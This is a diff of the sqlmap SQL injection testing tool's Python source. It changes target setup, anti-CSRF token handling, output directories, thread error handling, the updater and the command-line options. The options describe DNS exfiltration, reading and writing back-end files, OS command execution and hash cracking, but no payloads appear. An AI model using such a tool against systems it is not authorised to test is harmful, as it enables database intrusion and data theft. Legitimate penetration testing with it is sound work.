conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
testableParameters = True testableParameters = True
elif httpHeader.title() == HTTP_HEADER.REFERER: elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
conf.parameters[PLACE.REFERER] = urldecode(headerValue) conf.parameters[PLACE.REFERER] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
testableParameters = True testableParameters = True
elif httpHeader.title() == HTTP_HEADER.HOST: elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
conf.parameters[PLACE.HOST] = urldecode(headerValue) conf.parameters[PLACE.HOST] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -391,8 +393,8 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if conf.csrfToken: if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
@@ -406,7 +408,10 @@ def _setRequestParams():
message += "Do you want sqlmap to automatically update it in further requests? [y/N] " message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
conf.csrfToken = getUnicode(parameter) class _(unicode):
pass
conf.csrfToken = _(re.escape(getUnicode(parameter)))
conf.csrfToken._original = getUnicode(parameter)
break break
def _setHashDB(): def _setHashDB():
@@ -467,7 +472,13 @@ def _resumeDBMS():
value = hashDBRetrieve(HASHDB_KEYS.DBMS) value = hashDBRetrieve(HASHDB_KEYS.DBMS)
if not value: if not value:
return if conf.offline:
errMsg = "unable to continue in offline mode "
errMsg += "because of lack of usable "
errMsg += "session data"
raise SqlmapNoneDataException(errMsg)
else:
return
dbms = value.lower() dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION] dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -571,7 +582,7 @@ def _createFilesDir():
Create the file directory. Create the file directory.
""" """
if not conf.rFile: if not conf.fileRead:
return return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
@@ -619,33 +630,35 @@ def _createTargetDirs():
Create the output directory. Create the output directory.
""" """
try: for context in "output", "history":
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): directory = paths["SQLMAP_%s_PATH" % context.upper()]
os.makedirs(paths.SQLMAP_OUTPUT_PATH)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir:
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
logger.warn(warnMsg)
except (OSError, IOError), ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") if not os.path.isdir(directory):
except Exception, _: os.makedirs(directory)
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the") _ = os.path.join(directory, randomStr())
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) open(_, "w+b").close()
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) os.remove(_)
logger.warn(warnMsg)
paths.SQLMAP_OUTPUT_PATH = tempDir if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
@@ -669,8 +682,10 @@ def _createTargetDirs():
conf.outputPath = tempDir conf.outputPath = tempDir
conf.outputPath = getUnicode(conf.outputPath)
try: try:
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -689,6 +704,13 @@ def _createTargetDirs():
_createFilesDir() _createFilesDir()
_configureDumper() _configureDumper()
def _setAuxOptions():
"""
Setup auxiliary (host-dependent) options
"""
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def _restoreMergedOptions(): def _restoreMergedOptions():
""" """
Restore merged options (command line, configuration file and default values) Restore merged options (command line, configuration file and default values)
@@ -735,6 +757,9 @@ def initTargetEnv():
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
kb.postSpaceToPlus = '+' in original kb.postSpaceToPlus = '+' in original
match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv(): def setupTargetEnv():
_createTargetDirs() _createTargetDirs()
_setRequestParams() _setRequestParams()
@@ -742,3 +767,4 @@ def setupTargetEnv():
_resumeHashDBValues() _resumeHashDBValues()
_setResultsFile() _setResultsFile()
_setAuthCred() _setAuthCred()
_setAuxOptions()
+35 -31
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -17,6 +17,7 @@ import traceback
from extra.beep.beep import beep from extra.beep.beep import beep
from lib.controller.controller import start from lib.controller.controller import start
from lib.core.common import checkIntegrity
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getUnicode from lib.core.common import getUnicode
@@ -51,41 +52,44 @@ def smokeTest():
retVal = True retVal = True
count, length = 0, 0 count, length = 0, 0
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if not checkIntegrity():
if any(_ in root for _ in ("thirdparty", "extra")): retVal = False
continue else:
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")):
continue
for filename in files: for filename in files:
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
length += 1 length += 1
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")): if any(_ in root for _ in ("thirdparty", "extra")):
continue continue
for filename in files: for filename in files:
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
path = os.path.join(root, os.path.splitext(filename)[0]) path = os.path.join(root, os.path.splitext(filename)[0])
path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.') path = path.replace(os.sep, '.').lstrip('.')
try: try:
__import__(path) __import__(path)
module = sys.modules[path] module = sys.modules[path]
except Exception, msg: except Exception, msg:
retVal = False
dataToStdout("\r")
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
logger.error(errMsg)
else:
# Run doc tests
# Reference: http://docs.python.org/library/doctest.html
(failure_count, test_count) = doctest.testmod(module)
if failure_count > 0:
retVal = False retVal = False
dataToStdout("\r")
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
logger.error(errMsg)
else:
# Run doc tests
# Reference: http://docs.python.org/library/doctest.html
(failure_count, test_count) = doctest.testmod(module)
if failure_count > 0:
retVal = False
count += 1 count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
clearConsoleLine() clearConsoleLine()
if retVal: if retVal:
+5 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
kb.threadException = True kb.threadException = True
raise raise
except Exception, ex: except Exception, ex:
if not silent: if not silent and kb.get("threadContinue"):
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1: if conf.get("verbose") > 1:
traceback.print_exc() traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
except (KeyboardInterrupt, SqlmapUserQuitException), ex: except (KeyboardInterrupt, SqlmapUserQuitException), ex:
print print
kb.prependFlag = False
kb.threadContinue = False kb.threadContinue = False
kb.threadException = True kb.threadException = True
@@ -188,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = True kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1: if conf.get("verbose") > 1:
traceback.print_exc() traceback.print_exc()
except: except:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+13 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -17,6 +17,7 @@ import zipfile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import getLatestRevision
from lib.core.common import pollProcess from lib.core.common import pollProcess
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@@ -25,6 +26,7 @@ from lib.core.data import paths
from lib.core.revision import getRevisionNumber from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import ZIPBALL_PAGE from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
@@ -39,6 +41,10 @@ def update():
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg) logger.warn(warnMsg)
if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % getRevisionNumber())
return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
@@ -49,6 +55,7 @@ def update():
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
else: else:
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
for wildcard in ('*', ".*"): for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)): for _ in glob.glob(os.path.join(directory, wildcard)):
try: try:
@@ -83,6 +90,11 @@ def update():
else: else:
if not success: if not success:
logger.error("update could not be completed") logger.error("update could not be completed")
else:
try:
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else: else:
infoMsg = "updating sqlmap to the latest development revision from the " infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository" infoMsg += "GitHub repository"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+44 -24
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
help="Force usage of given HTTP method (e.g. PUT)") help="Force usage of given HTTP method (e.g. PUT)")
request.add_option("--data", dest="data", request.add_option("--data", dest="data",
help="Data string to be sent through POST") help="Data string to be sent through POST (e.g. \"id=1\")")
request.add_option("--param-del", dest="paramDel", request.add_option("--param-del", dest="paramDel",
help="Character used for splitting parameter values") help="Character used for splitting parameter values (e.g. &)")
request.add_option("--cookie", dest="cookie", request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header value") help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
request.add_option("--cookie-del", dest="cookieDel", request.add_option("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values") help="Character used for splitting cookie values (e.g. ;)")
request.add_option("--load-cookies", dest="loadCookies", request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format") help="File containing cookies in Netscape/wget format")
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
help="HTTP authentication PEM cert/private key file") help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int", request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)") help="Ignore (problematic) HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings") help="Ignore system default proxy settings")
@@ -207,7 +207,7 @@ def cmdLineParser(argv=None):
help="Parameter used to hold anti-CSRF token") help="Parameter used to hold anti-CSRF token")
request.add_option("--csrf-url", dest="csrfUrl", request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token") help="URL address to visit for extraction of anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL", action="store_true", request.add_option("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS") help="Force usage of SSL/HTTPS")
@@ -253,13 +253,13 @@ def cmdLineParser(argv=None):
help="Regexp to exclude parameters from testing (e.g. \"ses\")") help="Regexp to exclude parameters from testing (e.g. \"ses\")")
injection.add_option("--dbms", dest="dbms", injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value") help="Force back-end DBMS to provided value")
injection.add_option("--dbms-cred", dest="dbmsCred", injection.add_option("--dbms-cred", dest="dbmsCred",
help="DBMS authentication credentials (user:password)") help="DBMS authentication credentials (user:password)")
injection.add_option("--os", dest="os", injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system to this value") help="Force back-end DBMS operating system to provided value")
injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
help="Use big numbers for invalidating values") help="Use big numbers for invalidating values")
@@ -333,9 +333,12 @@ def cmdLineParser(argv=None):
techniques.add_option("--dns-domain", dest="dnsDomain", techniques.add_option("--dns-domain", dest="dnsDomain",
help="Domain name used for DNS exfiltration attack") help="Domain name used for DNS exfiltration attack")
techniques.add_option("--second-order", dest="secondOrder", techniques.add_option("--second-url", dest="secondUrl",
help="Resulting page URL searched for second-order response") help="Resulting page URL searched for second-order response")
techniques.add_option("--second-req", dest="secondReq",
help="Load second-order HTTP request from file")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
@@ -400,7 +403,7 @@ def cmdLineParser(argv=None):
help="Search column(s), table(s) and/or database name(s)") help="Search column(s), table(s) and/or database name(s)")
enumeration.add_option("--comments", dest="getComments", action="store_true", enumeration.add_option("--comments", dest="getComments", action="store_true",
help="Retrieve DBMS comments") help="Check for DBMS comments during enumeration")
enumeration.add_option("-D", dest="db", enumeration.add_option("-D", dest="db",
help="DBMS database to enumerate") help="DBMS database to enumerate")
@@ -468,13 +471,13 @@ def cmdLineParser(argv=None):
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system") filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
filesystem.add_option("--file-read", dest="rFile", filesystem.add_option("--file-read", dest="fileRead",
help="Read a file from the back-end DBMS file system") help="Read a file from the back-end DBMS file system")
filesystem.add_option("--file-write", dest="wFile", filesystem.add_option("--file-write", dest="fileWrite",
help="Write a local file on the back-end DBMS file system") help="Write a local file on the back-end DBMS file system")
filesystem.add_option("--file-dest", dest="dFile", filesystem.add_option("--file-dest", dest="fileDest",
help="Back-end DBMS absolute filepath to write to") help="Back-end DBMS absolute filepath to write to")
# Takeover options # Takeover options
@@ -581,7 +584,7 @@ def cmdLineParser(argv=None):
help="Log all HTTP traffic into a HAR file") help="Log all HTTP traffic into a HAR file")
general.add_option("--hex", dest="hexConvert", action="store_true", general.add_option("--hex", dest="hexConvert", action="store_true",
help="Use DBMS hex function(s) for data retrieval") help="Use hex conversion during data retrieval")
general.add_option("--output-dir", dest="outputDir", action="store", general.add_option("--output-dir", dest="outputDir", action="store",
help="Custom output directory path") help="Custom output directory path")
@@ -614,7 +617,7 @@ def cmdLineParser(argv=None):
help="Run host OS command(s) when SQL injection is found") help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers", miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")") help="Set predefined answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found") help="Beep on question and/or when SQL injection is found")
@@ -623,7 +626,7 @@ def cmdLineParser(argv=None):
help="Clean up the DBMS from sqlmap specific UDF and tables") help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (non-core) sqlmap dependencies") help="Check for missing (optional) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring") help="Disable console output coloring")
@@ -632,7 +635,10 @@ def cmdLineParser(argv=None):
help="Use Google dork results from specified page number") help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection") help="Make a thorough testing for a WAF/IPS protection")
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts")
miscellaneous.add_option("--mobile", dest="mobile", action="store_true", miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header") help="Imitate smartphone through HTTP User-Agent header")
@@ -640,11 +646,11 @@ def cmdLineParser(argv=None):
miscellaneous.add_option("--offline", dest="offline", action="store_true", miscellaneous.add_option("--offline", dest="offline", action="store_true",
help="Work in offline mode (only use session data)") help="Work in offline mode (only use session data)")
miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true", miscellaneous.add_option("--purge", dest="purge", action="store_true",
help="Safely remove all content from output directory") help="Safely remove all content from sqlmap data directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection") help="Skip heuristic detection of WAF/IPS protection")
miscellaneous.add_option("--smart", dest="smart", action="store_true", miscellaneous.add_option("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)") help="Conduct thorough tests only if positive heuristic(s)")
@@ -662,6 +668,10 @@ def cmdLineParser(argv=None):
help="Simple wizard interface for beginner users") help="Simple wizard interface for beginner users")
# Hidden and/or experimental options # Hidden and/or experimental options
parser.add_option("--crack", dest="hashFile",
help=SUPPRESS_HELP)
# help="Load and crack hashes from a file (standalone)")
parser.add_option("--dummy", dest="dummy", action="store_true", parser.add_option("--dummy", dest="dummy", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
@@ -683,6 +693,9 @@ def cmdLineParser(argv=None):
parser.add_option("--force-dns", dest="forceDns", action="store_true", parser.add_option("--force-dns", dest="forceDns", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-threads", dest="forceThreads", action="store_true", parser.add_option("--force-threads", dest="forceThreads", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
@@ -744,6 +757,7 @@ def cmdLineParser(argv=None):
prompt = False prompt = False
advancedHelp = True advancedHelp = True
extraHeaders = [] extraHeaders = []
tamperIndex = None
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv: for arg in argv:
@@ -815,6 +829,12 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]): elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit raise SystemExit
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H": elif argv[i] == "-H":
if i + 1 < len(argv): if i + 1 < len(argv):
extraHeaders.append(argv[i + 1]) extraHeaders.append(argv[i + 1])
@@ -868,9 +888,9 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)): if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "use -h for basic or -hh for advanced help\n" errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg) parser.error(errMsg)
return args return args
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+2 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -13,7 +13,6 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
This function calls a class that parses the input HTTP headers to This function calls a class that parses the input HTTP headers to
@@ -31,7 +30,7 @@ def headersParser(headers):
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
} }
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
value = headers[header] value = headers[header]
xmlfile = kb.headerPaths[header] xmlfile = kb.headerPaths[header]
handler = FingerprintHandler(value, kb.headersFp) handler = FingerprintHandler(value, kb.headersFp)
+4 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,6 +9,7 @@ import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import urldecode
from lib.core.common import parseXmlFile from lib.core.common import parseXmlFile
